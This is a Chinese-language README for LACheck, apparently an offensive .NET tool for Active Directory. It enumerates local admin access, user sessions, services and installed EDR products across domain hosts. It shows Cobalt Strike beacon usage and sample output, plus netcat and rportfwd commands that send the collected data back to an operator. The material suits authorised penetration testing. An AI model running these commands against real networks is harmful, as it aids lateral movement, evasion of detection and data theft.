多线程 C# .NET 程序集 本地管理权限枚举
> ./LACheck.exe help
_ _____ _ _
| | /\ / ____| | | |
| | / \ | | | |__ ___ ___| | __
| | / /\ \ | | | '_ \ / _ \/ __| |/ /
| |____ / ____ \ | |____| | | | __/ (__| <
|______/_/ \_\ \_____|_| |_|\___|\___|_|\_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]
Local Admin Checks:
smb - Attempts to access C$ share
rpc - Attempts WMI query of Win32_ComputerSystem Class provider over RPC
winrm - Attempts WMI query of Win32_ComputerSystem Class Provider over WinRM Session
Arguments:
/bloodhound - generate bloodhound-digestible AdminTo and Session collection file
output file is zipped and enypted with randomized name and password
/dc - specify domain controller to query (if not ran on a domain-joined host)
/domain - specify domain name (if not ran on a domain-joined host)
/edr - check host for EDR (requires smb, rpc, or winrm)
/logons - return logged on users on a host (requires smb, rpc, or winrm)
/registry - enumerate sessions from registry hive (requires smb)
/services - return services running as users (requires smb, rpc, or winrm)
/socket - send bloodhound output to TCP socket instead of writing to disk
ex: ""127.0.0.1:8080""
/targets - comma-separated list of hostnames to check
/threads - specify maximum number of parallel threads (default=25)
/user - specify username that collection was run under (useful during token manipulation)
/validate - check credentials against Domain prior to scanning targets (useful during token manipulation)
/verbose - print additional logging information
/ou - specify LDAP OU to query enabled computer objects from
ex: "OU=Special Servers,DC=example,DC=local"
/ldap - query hosts from the following LDAP filters:
:all - All enabled computers with 'primary' group 'Domain Computers'
:dc - All enabled Domain Controllers (not read-only DCs)
:exclude-dc - All enabled computers that are not Domain Controllers or read-only DCs
:servers - All enabled servers
:servers-exclude-dc - All enabled servers excluding Domain Controllers or read-only DCs
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
如上述示例输出所示,尝试在 IP 地址为 10.10.10.10 的主机上检查 WinRM 时会出错,因为 WinRM 客户端不会尝试通过 IP 地址对主机进行身份验证。
尝试检查 WinRM 访问时,请使用主机名。
/targets、/ldap 和 /ou 标志可以一起使用或单独使用,以生成要枚举的主机列表。
这些标志返回的所有主机在枚举开始前都会被合并并去重。
LACheck 支持将收集到的 AdminTo 和 Session 信息写入 JSON 输出,这些输出可以上传到 BloodHound。
此输出仅用于通过单个用户的更新管理权限以及从已识别出管理权限的主机收集的会话信息,来扩充现有的 BloodHound 收集数据。
/bloodhound 开关会将一个随机命名的加密 zip 文件写入磁盘,该文件可以下载、解压并上传到 BloodHound。
BloodHound 需要将用户和计算机解析为 SID。由于使用了模拟技术(例如 Cobalt Strike 的 make_token 和 kerberos_ticket_use),LACheck 可能无法准确确定收集时的用户上下文。/user 参数是必需的,它向 LACheck 提供其运行时上下文的用户主体名称(格式为 [email protected]),以便准确关联收集的信息。
BloodHound 输出可以发送到 TCP 套接字,而不是写入磁盘。
如果 TCP 连接失败,BloodHound 输出将写入磁盘。
在 Cobalt Strike beacon 中,可以使用 rportfwd_local 将 TCP 连接从主机转发回操作员的本地机器:
rportfwd_local 8888 127.0.0.1 8888
然后操作员可以使用 netcat 将 TCP 流的输出通过管道传送到本地文件:
nc -lvnp 8888 > computers.json
灵感来源于 harleyQu1nn 的 EDR.cna 脚本
Directory.GetFiles 方法从以下路径返回驱动程序列表:
驱动程序会与 EDR 供应商使用的已知驱动程序列表进行比对。
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
NetWkstaUserEnum 返回交互式、服务和批处理登录的用户列表。
WTSEnumerateSessionsA 返回主机上的 RDP 会话列表。
WTSQuerySessionInformationA 检索每个 RDP 会话的详细信息。
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
遍历 \\Computer\HKEY_USERS\ 配置单元中的 SID,尝试访问每个 SID 的 Volatile Environment,并检索 USERDOMAIN 和 USERNAME 键的值。
此方法要求远程主机上的远程注册表服务正在运行。如果未运行:
Automatic由于枚举每个主机可能需要多步过程,此方法可能比替代技术慢。smb /logons 更快。
[registry] WEB01 - contoso\devadmin (svcadmin)
ServiceController.GetServices 方法 检索主机上的服务列表。
查询每个服务以确定其配置为哪个用户运行。
由于每个服务都需要单独查询,此方法可能比替代技术慢。wmi /services 更快。
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
灵感来源于 harleyQu1nn 的 EDR.cna 脚本
CIM_DataFile 类 从以下路径返回驱动程序列表:
驱动程序会与 EDR 供应商使用的已知驱动程序列表进行比对。
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
Win32_LoggedOnUser 类 返回已登录会话的列表。 Win32_LogonSession 类 返回每个会话的详细信息。
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
查询 Win32_UserProfile 类 以检索系统上用户配置文件的 SID。
StdRegProv 类的 EnumKey 方法 检索 \\Computer\HKEY_USERS\ 配置单元,并尝试访问每个返回的 SID 的 Volatile Environment,以获取 USERDOMAIN 和 USERNAME 键的值。
[registry] WEB01 - contoso\devadmin (svcadmin)
查询 Win32_Service 类 以检索服务的名称、用户和状态。
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
每个 WMI 检查也通过 WinRM 使用 WMI 资源 和 WMI 枚举 实现。
这避免了使用 PowerShell runspaces。
| SMB | WMI | WinRM |
|---|
| /edr | fast | fast | fast |
| /logons | fast | fast | fast |
| /services | slow | fast | fast |
| /registry | slow | fast | - |